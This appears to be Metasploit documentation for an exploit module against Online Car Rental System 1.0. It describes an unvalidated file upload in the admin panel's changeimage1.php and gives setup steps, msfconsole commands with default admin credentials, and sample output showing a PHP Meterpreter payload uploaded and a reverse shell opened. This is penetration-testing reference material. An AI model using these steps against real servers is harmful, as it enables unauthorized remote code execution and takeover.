documentation/modules/exploit/multi/http/carrental_fileupload_rce.md
The Online Car Rental System 1.0 is vulnerable to Authenticated Remote Code Execution (RCE) due to an insecure file upload mechanism. Specifically, the changeimage1.php endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution.
You can download the vulnerable software from the following link: š Online Car Rental System 1.0 - Source Code
This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload using the vulnerable endpoint, and executing it to gain remote access.
htdocs (e.g., C:\xampp\htdocs\carrental).http://localhost/phpmyadmin in your browser.carrental_db), and import the SQL dump (carrental.sql) provided in the database directory.http://localhost/carrental/ to verify installation.sudo systemctl start apache2 && sudo systemctl start mysqlsudo apt install phpmyadmin -y/etc/apache2/apache2.conf and append:
Include /etc/phpmyadmin/apache.conf
/var/www/html/msfconsole
use exploit/multi/http/carrental_fileupload_rce
set rhosts <target_ip>
set rport <port>
set targeturi /carrental
set username <admin_username> # Default: admin
set password <admin_password> # Default: Test@12345
set lhost <your_ip>
set lport <your_port>
check
If vulnerable, you will see:
[+] <IP> The target appears to be the Online Car Rental System.
exploit
If successful, you will receive a Meterpreter shell.
msf exploit(multi/http/carrental_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 192.168.1.103:80 - The target appears to be the Online Car Rental System.
msf exploit(multi/http/carrental_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Uploading PHP Meterpreter payload as WxAqV7.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /carrental/admin/img/vehicleimages/WxAqV7.php...
[*] Sending stage (40004 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615)
meterpreter > sysinfo
Computer : DESKTOP-1234
OS : Windows NT 10.0 build 19045 (Windows 10)
Meterpreter : php/windows
| Option | Required | Description |
|---|---|---|
TARGETURI | Yes | The base path to the Car Rental System (e.g., /carrental) |
USERNAME | Yes | Admin username (default: admin) |
PASSWORD | Yes | Admin password (default: Test@12345) |
RHOSTS | Yes | The target IP address |
RPORT | Yes | The target web server port (default: 80) |
LHOST | Yes | The local host to receive the reverse shell |
LPORT | Yes | The local port to receive the reverse shell |